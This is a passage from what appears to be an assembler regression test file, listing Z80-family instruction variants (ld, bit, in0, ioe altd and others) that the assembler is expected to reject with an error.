; Error cnv -32768 ; Error cnv 32767 ; Error cnv 65535 ; Error cp (ix) ; Error cp (ix+127) ; Error cp (ix-128) ; Error cp (iy) ; Error cp (iy+127) ; Error cp (iy-128) ; Error cp a, (ix) ; Error cp a, (ix+127) ; Error cp a, (ix-128) ; Error cp a, (iy) ; Error cp a, (iy+127) ; Error cp a, (iy-128) ; Error cp a, ixh ; Error cp a, ixl ; Error cp a, iyh ; Error cp a, iyl ; Error cp ixh ; Error cp ixl ; Error cp iyh ; Error cp iyl ; Error cpe -32768 ; Error cpe 32767 ; Error cpe 65535 ; Error cpl a' ; Error cpo -32768 ; Error cpo 32767 ; Error cpo 65535 ; Error cv -32768 ; Error cv 32767 ; Error cv 65535 ; Error dec (ix) ; Error dec (ix+127) ; Error dec (ix-128) ; Error dec (iy) ; Error dec (iy+127) ; Error dec (iy-128) ; Error dec a' ; Error dec b' ; Error dec bc' ; Error dec c' ; Error dec d' ; Error dec de' ; Error dec e' ; Error dec h' ; Error dec hl' ; Error dec ix ; Error dec ixh ; Error dec ixl ; Error dec iy ; Error dec iyh ; Error dec iyl ; Error dec l' ; Error djnz b', ASMPC ; Error ex (sp), hl' ; Error ex (sp), ix ; Error ex (sp), iy ; Error ex af, af ; Error ex af, af' ; Error ex de', hl ; Error ex de', hl' ; Error ex de, hl' ; Error exx ; Error idet ; Error im -1 ; Error im -1 ; Error im 0 ; Error im 1 ; Error im 2 ; Error im 3 ; Error im 3 ; Error in (c) ; Error in -128 ; Error in 127 ; Error in 255 ; Error in a, (-128) ; Error in a, (127) ; Error in a, (255) ; Error in a, (c) ; Error in b, (c) ; Error in c, (c) ; Error in d, (c) ; Error in e, (c) ; Error in f, (c) ; Error in h, (c) ; Error in l, (c) ; Error in0 (-128) ; Error in0 (127) ; Error in0 (255) ; Error in0 a, (-128) ; Error in0 a, (127) ; Error in0 a, (255) ; Error in0 b, (-128) ; Error in0 b, (127) ; Error in0 b, (255) ; Error in0 c, (-128) ; Error in0 c, (127) ; Error in0 c, (255) ; Error in0 d, (-128) ; Error in0 d, (127) ; Error in0 d, (255) ; Error in0 e, (-128) ; Error in0 e, (127) ; Error in0 e, (255) ; Error in0 f, (-128) ; Error in0 f, (127) ; Error in0 f, (255) ; Error in0 h, (-128) ; Error in0 h, (127) ; Error in0 h, (255) ; Error in0 l, (-128) ; Error in0 l, (127) ; Error in0 l, (255) ; Error inc (ix) ; Error inc (ix+127) ; Error inc (ix-128) ; Error inc (iy) ; Error inc (iy+127) ; Error inc (iy-128) ; Error inc a' ; Error inc b' ; Error inc bc' ; Error inc c' ; Error inc d' ; Error inc de' ; Error inc e' ; Error inc h' ; Error inc hl' ; Error inc ix ; Error inc ixh ; Error inc ixl ; Error inc iy ; Error inc iyh ; Error inc iyl ; Error inc l' ; Error ind ; Error indr ; Error ini ; Error inir ; Error ioe adc (hl) ; Error ioe adc (ix) ; Error ioe adc (ix+127) ; Error ioe adc (ix-128) ; Error ioe adc (iy) ; Error ioe adc (iy+127) ; Error ioe adc (iy-128) ; Error ioe adc a', (hl) ; Error ioe adc a', (ix) ; Error ioe adc a', (ix+127) ; Error ioe adc a', (ix-128) ; Error ioe adc a', (iy) ; Error ioe adc a', (iy+127) ; Error ioe adc a', (iy-128) ; Error ioe adc a, (hl) ; Error ioe adc a, (ix) ; Error ioe adc a, (ix+127) ; Error ioe adc a, (ix-128) ; Error ioe adc a, (iy) ; Error ioe adc a, (iy+127) ; Error ioe adc a, (iy-128) ; Error ioe add (hl) ; Error ioe add (ix) ; Error ioe add (ix+127) ; Error ioe add (ix-128) ; Error ioe add (iy) ; Error ioe add (iy+127) ; Error ioe add (iy-128) ; Error ioe add a', (hl) ; Error ioe add a', (ix) ; Error ioe add a', (ix+127) ; Error ioe add a', (ix-128) ; Error ioe add a', (iy) ; Error ioe add a', (iy+127) ; Error ioe add a', (iy-128) ; Error ioe add a, (hl) ; Error ioe add a, (ix) ; Error ioe add a, (ix+127) ; Error ioe add a, (ix-128) ; Error ioe add a, (iy) ; Error ioe add a, (iy+127) ; Error ioe add a, (iy-128) ; Error ioe altd adc (hl) ; Error ioe altd adc (ix) ; Error ioe altd adc (ix+127) ; Error ioe altd adc (ix-128) ; Error ioe altd adc (iy) ; Error ioe altd adc (iy+127) ; Error ioe altd adc (iy-128) ; Error ioe altd adc a, (hl) ; Error ioe altd adc a, (ix) ; Error ioe altd adc a, (ix+127) ; Error ioe altd adc a, (ix-128) ; Error ioe altd adc a, (iy) ; Error ioe altd adc a, (iy+127) ; Error ioe altd adc a, (iy-128) ; Error ioe altd add (hl) ; Error ioe altd add (ix) ; Error ioe altd add (ix+127) ; Error ioe altd add (ix-128) ; Error ioe altd add (iy) ; Error ioe altd add (iy+127) ; Error ioe altd add (iy-128) ; Error ioe altd add a, (hl) ; Error ioe altd add a, (ix) ; Error ioe altd add a, (ix+127) ; Error ioe altd add a, (ix-128) ; Error ioe altd add a, (iy) ; Error ioe altd add a, (iy+127) ; Error ioe altd add a, (iy-128) ; Error ioe altd and (hl) ; Error ioe altd and (ix) ; Error ioe altd and (ix+127) ; Error ioe altd and (ix-128) ; Error ioe altd and (iy) ; Error ioe altd and (iy+127) ; Error ioe altd and (iy-128) ; Error ioe altd and a, (hl) ; Error ioe altd and a, (ix) ; Error ioe altd and a, (ix+127) ; Error ioe altd and a, (ix-128) ; Error ioe altd and a, (iy) ; Error ioe altd and a, (iy+127) ; Error ioe altd and a, (iy-128) ; Error ioe altd bit -1, (hl) ; Error ioe altd bit -1, (hl) ; Error ioe altd bit -1, (ix) ; Error ioe altd bit -1, (ix) ; Error ioe altd bit -1, (ix+127) ; Error ioe altd bit -1, (ix+127) ; Error ioe altd bit -1, (ix-128) ; Error ioe altd bit -1, (ix-128) ; Error ioe altd bit -1, (iy) ; Error ioe altd bit -1, (iy) ; Error ioe altd bit -1, (iy+127) ; Error ioe altd bit -1, (iy+127) ; Error ioe altd bit -1, (iy-128) ; Error ioe altd bit -1, (iy-128) ; Error ioe altd bit 0, (hl) ; Error ioe altd bit 0, (ix) ; Error ioe altd bit 0, (ix+127) ; Error ioe altd bit 0, (ix-128) ; Error ioe altd bit 0, (iy) ; Error ioe altd bit 0, (iy+127) ; Error ioe altd bit 0, (iy-128) ; Error ioe altd bit 1, (hl) ; Error ioe altd bit 1, (ix) ; Error ioe altd bit 1, (ix+127) ; Error ioe altd bit 1, (ix-128) ; Error ioe altd bit 1, (iy) ; Error ioe altd bit 1, (iy+127) ; Error ioe altd bit 1, (iy-128) ; Error ioe altd bit 2, (hl) ; Error ioe altd bit 2, (ix) ; Error ioe altd bit 2, (ix+127) ; Error ioe altd bit 2, (ix-128) ; Error ioe altd bit 2, (iy) ; Error ioe altd bit 2, (iy+127) ; Error ioe altd bit 2, (iy-128) ; Error ioe altd bit 3, (hl) ; Error ioe altd bit 3, (ix) ; Error ioe altd bit 3, (ix+127) ; Error ioe altd bit 3, (ix-128) ; Error ioe altd bit 3, (iy) ; Error ioe altd bit 3, (iy+127) ; Error ioe altd bit 3, (iy-128) ; Error ioe altd bit 4, (hl) ; Error ioe altd bit 4, (ix) ; Error ioe altd bit 4, (ix+127) ; Error ioe altd bit 4, (ix-128) ; Error ioe altd bit 4, (iy) ; Error ioe altd bit 4, (iy+127) ; Error ioe altd bit 4, (iy-128) ; Error ioe altd bit 5, (hl) ; Error ioe altd bit 5, (ix) ; Error ioe altd bit 5, (ix+127) ; Error ioe altd bit 5, (ix-128) ; Error ioe altd bit 5, (iy) ; Error ioe altd bit 5, (iy+127) ; Error ioe altd bit 5, (iy-128) ; Error ioe altd bit 6, (hl) ; Error ioe altd bit 6, (ix) ; Error ioe altd bit 6, (ix+127) ; Error ioe altd bit 6, (ix-128) ; Error ioe altd bit 6, (iy) ; Error ioe altd bit 6, (iy+127) ; Error ioe altd bit 6, (iy-128) ; Error ioe altd bit 7, (hl) ; Error ioe altd bit 7, (ix) ; Error ioe altd bit 7, (ix+127) ; Error ioe altd bit 7, (ix-128) ; Error ioe altd bit 7, (iy) ; Error ioe altd bit 7, (iy+127) ; Error ioe altd bit 7, (iy-128) ; Error ioe altd bit 8, (hl) ; Error ioe altd bit 8, (hl) ; Error ioe altd bit 8, (ix) ; Error ioe altd bit 8, (ix) ; Error ioe altd bit 8, (ix+127) ; Error ioe altd bit 8, (ix+127) ; Error ioe altd bit 8, (ix-128) ; Error ioe altd bit 8, (ix-128) ; Error ioe altd bit 8, (iy) ; Error ioe altd bit 8, (iy) ; Error ioe altd bit 8, (iy+127) ; Error ioe altd bit 8, (iy+127) ; Error ioe altd bit 8, (iy-128) ; Error ioe altd bit 8, (iy-128) ; Error ioe altd cp (hl) ; Error ioe altd cp (ix) ; Error ioe altd cp (ix+127) ; Error ioe altd cp (ix-128) ; Error ioe altd cp (iy) ; Error ioe altd cp (iy+127) ; Error ioe altd cp (iy-128) ; Error ioe altd cp a, (hl) ; Error ioe altd cp a, (ix) ; Error ioe altd cp a, (ix+127) ; Error ioe altd cp a, (ix-128) ; Error ioe altd cp a, (iy) ; Error ioe altd cp a, (iy+127) ; Error ioe altd cp a, (iy-128) ; Error ioe altd dec (hl) ; Error ioe altd dec (ix) ; Error ioe altd dec (ix+127) ; Error ioe altd dec (ix-128) ; Error ioe altd dec (iy) ; Error ioe altd dec (iy+127) ; Error ioe altd dec (iy-128) ; Error ioe altd inc (hl) ; Error ioe altd inc (ix) ; Error ioe altd inc (ix+127) ; Error ioe altd inc (ix-128) ; Error ioe altd inc (iy) ; Error ioe altd inc (iy+127) ; Error ioe altd inc (iy-128) ; Error ioe altd ld a, (-32768) ; Error ioe altd ld a, (32767) ; Error ioe altd ld a, (65535) ; Error ioe altd ld a, (bc) ; Error ioe altd ld a, (bc+) ; Error ioe altd ld a, (bc-) ; Error ioe altd ld a, (de) ; Error ioe altd ld a, (de+) ; Error ioe altd ld a, (de-) ; Error ioe altd ld a, (hl) ; Error ioe altd ld a, (hl+) ; Error ioe altd ld a, (hl-) ; Error ioe altd ld a, (hld) ; Error ioe altd ld a, (hli) ; Error ioe altd ld a, (ix) ; Error ioe altd ld a, (ix+127) ; Error ioe altd ld a, (ix-128) ; Error ioe altd ld a, (iy) ; Error ioe altd ld a, (iy+127) ; Error ioe altd ld a, (iy-128) ; Error ioe altd ld b, (hl) ; Error ioe altd ld b, (ix) ; Error ioe altd ld b, (ix+127) ; Error ioe altd ld b, (ix-128) ; Error ioe altd ld b, (iy) ; Error ioe altd ld b, (iy+127) ; Error ioe altd ld b, (iy-128) ; Error ioe altd ld bc, (-32768) ; Error ioe altd ld bc, (32767) ; Error ioe altd ld bc, (65535) ; Error ioe altd ld c, (hl) ; Error ioe altd ld c, (ix) ; Error ioe altd ld c, (ix+127) ; Error ioe altd ld c, (ix-128) ; Error ioe altd ld c, (iy) ; Error ioe altd ld c, (iy+127) ; Error ioe altd ld c, (iy-128) ; Error ioe altd ld d, (hl) ; Error ioe altd ld d, (ix) ; Error ioe altd ld d, (ix+127) ; Error ioe altd ld d, (ix-128) ; Error ioe altd ld d, (iy) ; Error ioe altd ld d, (iy+127) ; Error ioe altd ld d, (iy-128) ; Error ioe altd ld de, (-32768) ; Error ioe altd ld de, (32767) ; Error ioe altd ld de, (65535) ; Error ioe altd ld e, (hl) ; Error ioe altd ld e, (ix) ; Error ioe altd ld e, (ix+127) ; Error ioe altd ld e, (ix-128) ; Error ioe altd ld e, (iy) ; Error ioe altd ld e, (iy+127) ; Error ioe altd ld e, (iy-128) ; Error ioe altd ld h, (hl) ; Error ioe altd ld h, (ix) ; Error ioe altd ld h, (ix+127) ; Error ioe altd ld h, (ix-128) ; Error ioe altd ld h, (iy) ; Error ioe altd ld h, (iy+127) ; Error ioe altd ld h, (iy-128) ; Error ioe altd ld hl, (-32768) ; Error ioe altd ld hl, (32767) ; Error ioe altd ld hl, (65535) ; Error ioe altd ld hl, (hl) ; Error ioe altd ld hl, (hl+127) ; Error ioe altd ld hl, (hl-128) ; Error ioe altd ld hl, (ix) ; Error ioe altd ld hl, (ix+127) ; Error ioe altd ld hl, (ix-128) ; Error ioe altd ld hl, (iy) ; Error ioe altd ld hl, (iy+127) ; Error ioe altd ld hl, (iy-128) ; Error ioe altd ld l, (hl) ; Error ioe altd ld l, (ix) ; Error ioe altd ld l, (ix+127) ; Error ioe altd ld l, (ix-128) ; Error ioe altd ld l, (iy) ; Error ioe altd ld l, (iy+127) ; Error ioe altd ld l, (iy-128) ; Error ioe altd or (hl) ; Error ioe altd or (ix) ; Error ioe altd or (ix+127) ; Error ioe altd or (ix-128) ; Error ioe altd or (iy) ; Error ioe altd or (iy+127) ; Error ioe altd or (iy-128) ; Error ioe altd or a, (hl) ; Error ioe altd or a, (ix) ; Error ioe altd or a, (ix+127) ; Error ioe altd or a, (ix-128) ; Error ioe altd or a, (iy) ; Error ioe altd or a, (iy+127) ; Error ioe altd or a, (iy-128) ; Error ioe altd rl (hl) ; Error ioe altd rl (ix) ; Error ioe altd rl (ix+127) ; Error ioe altd rl (ix-128) ; Error ioe altd rl (iy) ; Error ioe altd rl (iy+127) ; Error ioe altd rl (iy-128) ; Error ioe altd rlc (hl) ; Error ioe altd rlc (ix) ; Error ioe altd rlc (ix+127) ; Error ioe altd rlc (ix-128) ; Error ioe altd rlc (iy) ; Error ioe altd rlc (iy+127) ; Error ioe altd rlc (iy-128) ; Error ioe altd rr (hl) ; Error ioe altd rr (ix) ; Error ioe altd rr (ix+127) ; Error ioe altd rr (ix-128) ; Error ioe altd rr (iy) ; Error ioe altd rr (iy+127) ; Error ioe altd rr (iy-128) ; Error ioe altd rrc (hl) ; Error ioe altd rrc (ix) ; Error ioe altd rrc (ix+127) ; Error ioe altd rrc (ix-128) ; Error ioe altd rrc (iy) ; Error ioe altd rrc (iy+127) ; Error ioe altd rrc (iy-128) ; Error ioe altd sbc (hl) ; Error ioe altd sbc (ix) ; Error ioe altd sbc (ix+127) ; Error ioe altd sbc (ix-128) ; Error ioe altd sbc (iy) ; Error ioe altd sbc (iy+127) ; Error ioe altd sbc (iy-128) ; Error ioe altd sbc a, (hl) ; Error ioe altd sbc a, (ix) ; Error ioe altd sbc a, (ix+127) ; Error ioe altd sbc a, (ix-128) ; Error ioe altd sbc a, (iy) ; Error ioe altd sbc a, (iy+127) ; Error ioe altd sbc a, (iy-128) ; Error ioe altd sla (hl) ; Error ioe altd sla (ix) ; Error ioe altd sla (ix+127) ; Error ioe altd sla (ix-128) ; Error ioe altd sla (iy) ; Error ioe altd sla (iy+127) ; Error ioe altd sla (iy-128) ; Error ioe altd sra (hl) ; Error ioe altd sra (ix) ; Error ioe altd sra (ix+127) ; Error ioe altd sra (ix-128) ; Error ioe altd sra (iy) ; Error ioe altd sra (iy+127) ; Error ioe altd sra (iy-128) ; Error ioe altd srl (hl) ; Error ioe altd srl (ix) ; Error ioe altd srl (ix+127) ; Error ioe altd srl (ix-128) ; Error ioe altd srl (iy) ; Error ioe altd srl (iy+127) ; Error ioe altd srl (iy-128) ; Error ioe altd sub (hl) ; Error ioe altd sub (ix) ; Error ioe altd sub (ix+127) ; Error ioe altd sub (ix-128) ; Error ioe altd sub (iy) ; Error ioe altd sub (iy+127) ; Error ioe altd sub (iy-128) ; Error ioe altd sub a, (hl) ; Error ioe altd sub a, (ix) ; Error ioe altd sub a, (ix+127) ; Error ioe altd sub a, (ix-128) ; Error ioe altd sub a, (iy) ; Error ioe altd sub a, (iy+127) ; Error ioe altd sub a, (iy-128) ; Error ioe altd xor (hl) ; Error ioe altd xor (ix) ; Error ioe altd xor (ix+127) ; Error ioe altd xor (ix-128) ; Error ioe altd xor (iy) ; Error ioe altd xor (iy+127) ; Error ioe altd xor (iy-128) ; Error ioe altd xor a, (hl) ; Error ioe altd xor a, (ix) ; Error ioe altd xor a, (ix+127) ; Error ioe altd xor a, (ix-128) ; Error ioe altd xor a, (iy) ; Error ioe altd xor a, (iy+127) ; Error ioe altd xor a, (iy-128) ; Error ioe and (hl) ; Error ioe and (ix) ; Error ioe and (ix+127) ; Error ioe and (ix-128) ; Error ioe and (iy) ; Error ioe and (iy+127) ; Error ioe and (iy-128) ; Error ioe and a', (hl) ; Error ioe and a', (ix) ; Error ioe and a', (ix+127) ; Error ioe and a', (ix-128) ; Error ioe and a', (iy) ; Error ioe and a', (iy+127) ; Error ioe and a', (iy-128) ; Error ioe and a, (hl) ; Error ioe and a, (ix) ; Error ioe and a, (ix+127) ; Error ioe and a, (ix-128) ; Error ioe and a, (iy) ; Error ioe and a, (iy+127) ; Error ioe and a, (iy-128) ; Error ioe bit -1, (hl) ; Error ioe bit -1, (hl) ; Error ioe bit -1, (ix) ; Error ioe bit -1, (ix) ; Error ioe bit -1, (ix+127) ; Error ioe bit -1, (ix+127) ; Error ioe bit -1, (ix-128) ; Error ioe bit -1, (ix-128) ; Error ioe bit -1, (iy) ; Error ioe bit -1, (iy) ; Error ioe bit -1, (iy+127) ; Error ioe bit -1, (iy+127) ; Error ioe bit -1, (iy-128) ; Error ioe bit -1, (iy-128) ; Error ioe bit 0, (hl) ; Error ioe bit 0, (ix) ; Error ioe bit 0, (ix+127) ; Error ioe bit 0, (ix-128) ; Error ioe bit 0, (iy) ; Error ioe bit 0, (iy+127) ; Error ioe bit 0, (iy-128) ; Error ioe bit 1, (hl) ; Error ioe bit 1, (ix) ; Error ioe bit 1, (ix+127) ; Error ioe bit 1, (ix-128) ; Error ioe bit 1, (iy) ; Error ioe bit 1, (iy+127) ; Error ioe bit 1, (iy-128) ; Error ioe bit 2, (hl) ; Error ioe bit 2, (ix) ; Error ioe bit 2, (ix+127) ; Error ioe bit 2, (ix-128) ; Error ioe bit 2, (iy) ; Error ioe bit 2, (iy+127) ; Error ioe bit 2, (iy-128) ; Error ioe bit 3, (hl) ; Error ioe bit 3, (ix) ; Error ioe bit 3, (ix+127) ; Error ioe bit 3, (ix-128) ; Error ioe bit 3, (iy) ; Error ioe bit 3, (iy+127) ; Error ioe bit 3, (iy-128) ; Error ioe bit 4, (hl) ; Error ioe bit 4, (ix) ; Error ioe bit 4, (ix+127) ; Error ioe bit 4, (ix-128) ; Error ioe bit 4, (iy) ; Error ioe bit 4, (iy+127) ; Error ioe bit 4, (iy-128) ; Error ioe bit 5, (hl) ; Error ioe bit 5, (ix) ; Error ioe bit 5, (ix+127) ; Error ioe bit 5, (ix-128) ; Error ioe bit 5, (iy) ; Error ioe bit 5, (iy+127) ; Error ioe bit 5, (iy-128) ; Error ioe bit 6, (hl) ; Error ioe bit 6, (ix) ; Error ioe bit 6, (ix+127) ; Error ioe bit 6, (ix-128) ; Error ioe bit 6, (iy) ; Error ioe bit 6, (iy+127) ; Error ioe bit 6, (iy-128) ; Error ioe bit 7, (hl) ; Error ioe bit 7, (ix) ; Error ioe bit 7, (ix+127) ; Error ioe bit 7, (ix-128) ; Error ioe bit 7, (iy) ; Error ioe bit 7, (iy+127) ; Error ioe bit 7, (iy-128) ; Error ioe bit 8, (hl) ; Error ioe bit 8, (hl) ; Error ioe bit 8, (ix) ; Error ioe bit 8, (ix) ; Error ioe bit 8, (ix+127) ; Error ioe bit 8, (ix+127) ; Error ioe bit 8, (ix-128) ; Error ioe bit 8, (ix-128) ; Error ioe bit 8, (iy) ; Error ioe bit 8, (iy) ; Error ioe bit 8, (iy+127) ; Error ioe bit 8, (iy+127) ; Error ioe bit 8, (iy-128) ; Error ioe bit 8, (iy-128) ; Error ioe bit.a -1, (hl) ; Error ioe bit.a -1, (hl) ; Error ioe bit.a -1, (ix) ; Error ioe bit.a -1, (ix) ; Error ioe bit.a -1, (ix+127) ; Error ioe bit.a -1, (ix+127) ; Error ioe bit.a -1, (ix-128) ; Error ioe bit.a -1, (ix-128) ; Error ioe bit.a -1, (iy) ; Error ioe bit.a -1, (iy) ; Error ioe bit.a -1, (iy+127) ; Error ioe bit.a -1, (iy+127) ; Error ioe bit.a -1, (iy-128) ; Error ioe bit.a -1, (iy-128) ; Error ioe bit.a 0, (hl) ; Error ioe bit.a 0, (ix) ; Error ioe bit.a 0, (ix+127) ; Error ioe bit.a 0, (ix-128) ; Error ioe bit.a 0, (iy) ; Error ioe bit.a 0, (iy+127) ; Error ioe bit.a 0, (iy-128) ; Error ioe bit.a 1, (hl) ; Error ioe bit.a 1, (ix) ; Error ioe bit.a 1, (ix+127) ; Error ioe bit.a 1, (ix-128) ; Error ioe bit.a 1, (iy) ; Error ioe bit.a 1, (iy+127) ; Error ioe bit.a 1, (iy-128) ; Error ioe bit.a 2, (hl) ; Error ioe bit.a 2, (ix) ; Error ioe bit.a 2, (ix+127) ; Error ioe bit.a 2, (ix-128) ; Error ioe bit.a 2, (iy) ; Error ioe bit.a 2, (iy+127) ; Error ioe bit.a 2, (iy-128) ; Error ioe bit.a 3, (hl) ; Error ioe bit.a 3, (ix) ; Error ioe bit.a 3, (ix+127) ; Error ioe bit.a 3, (ix-128) ; Error ioe bit.a 3, (iy) ; Error ioe bit.a 3, (iy+127) ; Error ioe bit.a 3, (iy-128) ; Error ioe bit.a 4, (hl) ; Error ioe bit.a 4, (ix) ; Error ioe bit.a 4, (ix+127) ; Error ioe bit.a 4, (ix-128) ; Error ioe bit.a 4, (iy) ; Error ioe bit.a 4, (iy+127) ; Error ioe bit.a 4, (iy-128) ; Error ioe bit.a 5, (hl) ; Error ioe bit.a 5, (ix) ; Error ioe bit.a 5, (ix+127) ; Error ioe bit.a 5, (ix-128) ; Error ioe bit.a 5, (iy) ; Error ioe bit.a 5, (iy+127) ; Error ioe bit.a 5, (iy-128) ; Error ioe bit.a 6, (hl) ; Error ioe bit.a 6, (ix) ; Error ioe bit.a 6, (ix+127) ; Error ioe bit.a 6, (ix-128) ; Error ioe bit.a 6, (iy) ; Error ioe bit.a 6, (iy+127) ; Error ioe bit.a 6, (iy-128) ; Error ioe bit.a 7, (hl) ; Error ioe bit.a 7, (ix) ; Error ioe bit.a 7, (ix+127) ; Error ioe bit.a 7, (ix-128) ; Error ioe bit.a 7, (iy) ; Error ioe bit.a 7, (iy+127) ; Error ioe bit.a 7, (iy-128) ; Error ioe bit.a 8, (hl) ; Error ioe bit.a 8, (hl) ; Error ioe bit.a 8, (ix) ; Error ioe bit.a 8, (ix) ; Error ioe bit.a 8, (ix+127) ; Error ioe bit.a 8, (ix+127) ; Error ioe bit.a 8, (ix-128) ; Error ioe bit.a 8, (ix-128) ; Error ioe bit.a 8, (iy) ; Error ioe bit.a 8, (iy) ; Error ioe bit.a 8, (iy+127) ; Error ioe bit.a 8, (iy+127) ; Error ioe bit.a 8, (iy-128) ; Error ioe bit.a 8, (iy-128) ; Error ioe cmp (hl) ; Error ioe cmp (ix) ; Error ioe cmp (ix+127) ; Error ioe cmp (ix-128) ; Error ioe cmp (iy) ; Error ioe cmp (iy+127) ; Error ioe cmp (iy-128) ; Error ioe cmp a, (hl) ; Error ioe cmp a, (ix) ; Error ioe cmp a, (ix+127) ; Error ioe cmp a, (ix-128) ; Error ioe cmp a, (iy) ; Error ioe cmp a, (iy+127) ; Error ioe cmp a, (iy-128) ; Error ioe cp (hl) ; Error ioe cp (ix) ; Error ioe cp (ix+127) ; Error ioe cp (ix-128) ; Error ioe cp (iy) ; Error ioe cp (iy+127) ; Error ioe cp (iy-128) ; Error ioe cp a, (hl) ; Error ioe cp a, (ix) ; Error ioe cp a, (ix+127) ; Error ioe cp a, (ix-128) ; Error ioe cp a, (iy) ; Error ioe cp a, (iy+127) ; Error ioe cp a, (iy-128) ; Error ioe dec (hl) ; Error ioe dec (ix) ; Error ioe dec (ix+127) ; Error ioe dec (ix-128) ; Error ioe dec (iy) ; Error ioe dec (iy+127) ; Error ioe dec (iy-128) ; Error ioe inc (hl) ; Error ioe inc (ix) ; Error ioe inc (ix+127) ; Error ioe inc (ix-128) ; Error ioe inc (iy) ; Error ioe inc (iy+127) ; Error ioe inc (iy-128) ; Error ioe ld (-32768), a ; Error ioe ld (-32768), bc ; Error ioe ld (-32768), de ; Error ioe ld (-32768), hl ; Error ioe ld (-32768), ix ; Error ioe ld (-32768), iy ; Error ioe ld (-32768), sp ; Error ioe ld (32767), a ; Error ioe ld (32767), bc ; Error ioe ld (32767), de ; Error ioe ld (32767), hl ; Error ioe ld (32767), ix ; Error ioe ld (32767), iy ; Error ioe ld (32767), sp ; Error ioe ld (65535), a ; Error ioe ld (65535), bc ; Error ioe ld (65535), de ; Error ioe ld (65535), hl ; Error ioe ld (65535), ix ; Error ioe ld (65535), iy ; Error ioe ld (65535), sp ; Error ioe ld (bc), a ; Error ioe ld (bc+), a ; Error ioe ld (bc-), a ; Error ioe ld (de), a ; Error ioe ld (de+), a ; Error ioe ld (de-), a ; Error ioe ld (hl), -128 ; Error ioe ld (hl), 127 ; Error ioe ld (hl), 255 ; Error ioe ld (hl), a ; Error ioe ld (hl), b ; Error ioe ld (hl), c ; Error ioe ld (hl), d ; Error ioe ld (hl), e ; Error ioe ld (hl), h ; Error ioe ld (hl), hl ; Error ioe ld (hl), l ; Error ioe ld (hl+), a ; Error ioe ld (hl+127), hl ; Error ioe ld (hl-), a ; Error ioe ld (hl-128), hl ; Error ioe ld (hld), a ; Error ioe ld (hli), a ; Error ioe ld (ix), -128 ; Error ioe ld (ix), 127 ; Error ioe ld (ix), 255 ; Error ioe ld (ix), a ; Error ioe ld (ix), b ; Error ioe ld (ix), c ; Error ioe ld (ix), d ; Error ioe ld (ix), e ; Error ioe ld (ix), h ; Error ioe ld (ix), hl ; Error ioe ld (ix), l ; Error ioe ld (ix+127), -128 ; Error ioe ld (ix+127), 127 ; Error ioe ld (ix+127), 255 ; Error ioe ld (ix+127), a ; Error ioe ld (ix+127), b ; Error ioe ld (ix+127), c ; Error ioe ld (ix+127), d ; Error ioe ld (ix+127), e ; Error ioe ld (ix+127), h ; Error ioe ld (ix+127), hl ; Error ioe ld (ix+127), l ; Error ioe ld (ix-128), -128 ; Error ioe ld (ix-128), 127 ; Error ioe ld (ix-128), 255 ; Error ioe ld (ix-128), a ; Error ioe ld (ix-128), b ; Error ioe ld (ix-128), c ; Error ioe ld (ix-128), d ; Error ioe ld (ix-128), e ; Error ioe ld (ix-128), h ; Error ioe ld (ix-128), hl ; Error ioe ld (ix-128), l ; Error ioe ld (iy), -128 ; Error ioe ld (iy), 127 ; Error ioe ld (iy), 255 ; Error ioe ld (iy), a ; Error ioe ld (iy), b ; Error ioe ld (iy), c ; Error ioe ld (iy), d ; Error ioe ld (iy), e ; Error ioe ld (iy), h ; Error ioe ld (iy), hl ; Error ioe ld (iy), l ; Error ioe ld (iy+127), -128 ; Error ioe ld (iy+127), 127 ; Error ioe ld (iy+127), 255 ; Error ioe ld (iy+127), a ; Error ioe ld (iy+127), b ; Error ioe ld (iy+127), c ; Error ioe ld (iy+127), d ; Error ioe ld (iy+127), e ; Error ioe ld (iy+127), h ; Error ioe ld (iy+127), hl ; Error ioe ld (iy+127), l ; Error ioe ld (iy-128), -128 ; Error ioe ld (iy-128), 127 ; Error ioe ld (iy-128), 255 ; Error ioe ld (iy-128), a ; Error ioe ld (iy-128), b ; Error ioe ld (iy-128), c ; Error ioe ld (iy-128), d ; Error ioe ld (iy-128), e ; Error ioe ld (iy-128), h ; Error ioe ld (iy-128), hl ; Error ioe ld (iy-128), l ; Error ioe ld a', (-32768) ; Error ioe ld a', (32767) ; Error ioe ld a', (65535) ; Error ioe ld a', (bc) ; Error ioe ld a', (bc+) ; Error ioe ld a', (bc-) ; Error ioe ld a', (de) ; Error ioe ld a', (de+) ; Error ioe ld a', (de-) ; Error ioe ld a', (hl) ; Error ioe ld a', (hl+) ; Error ioe ld a', (hl-) ; Error ioe ld a', (hld) ; Error ioe ld a', (hli) ; Error ioe ld a', (ix) ; Error ioe ld a', (ix+127) ; Error ioe ld a', (ix-128) ; Error ioe ld a', (iy) ; Error ioe ld a', (iy+127) ; Error ioe ld a', (iy-128) ; Error ioe ld a, (-32768) ; Error ioe ld a, (32767) ; Error ioe ld a, (65535) ; Error ioe ld a, (bc) ; Error ioe ld a, (bc+) ; Error ioe ld a, (bc-) ; Error ioe ld a, (de) ; Error ioe ld a, (de+) ; Error ioe ld a, (de-) ; Error ioe ld a, (hl) ; Error ioe ld a, (hl+) ; Error ioe ld a, (hl-) ; Error ioe ld a, (hld) ; Error ioe ld a, (hli) ; Error ioe ld a, (ix) ; Error ioe ld a, (ix+127) ; Error ioe ld a, (ix-128) ; Error ioe ld a, (iy) ; Error ioe ld a, (iy+127) ; Error ioe ld a, (iy-128) ; Error ioe ld b', (hl) ; Error ioe ld b', (ix) ; Error ioe ld b', (ix+127) ; Error ioe ld b', (ix-128) ; Error ioe ld b', (iy) ; Error ioe ld b', (iy+127) ; Error ioe ld b', (iy-128) ; Error ioe ld b, (hl) ; Error ioe ld b, (ix) ; Error ioe ld b, (ix+127) ; Error ioe ld b, (ix-128) ; Error ioe ld b, (iy) ; Error ioe ld b, (iy+127) ; Error ioe ld b, (iy-128) ; Error ioe ld bc', (-32768) ; Error ioe ld bc', (32767) ; Error ioe ld bc', (65535) ; Error ioe ld bc, (-32768) ; Error ioe ld bc, (32767) ; Error ioe ld bc, (65535) ; Error ioe ld c', (hl) ; Error ioe ld c', (ix) ; Error ioe ld c', (ix+127) ; Error ioe ld c', (ix-128) ; Error ioe ld c', (iy) ; Error ioe ld c', (iy+127) ; Error ioe ld c', (iy-128) ; Error ioe ld c, (hl) ; Error ioe ld c, (ix) ; Error ioe ld c, (ix+127) ; Error ioe ld c, (ix-128) ; Error ioe ld c, (iy) ; Error ioe ld c, (iy+127) ; Error ioe ld c, (iy-128) ; Error ioe ld d', (hl) ; Error ioe ld d', (ix) ; Error ioe ld d', (ix+127) ; Error ioe ld d', (ix-128) ; Error ioe ld d', (iy) ; Error ioe 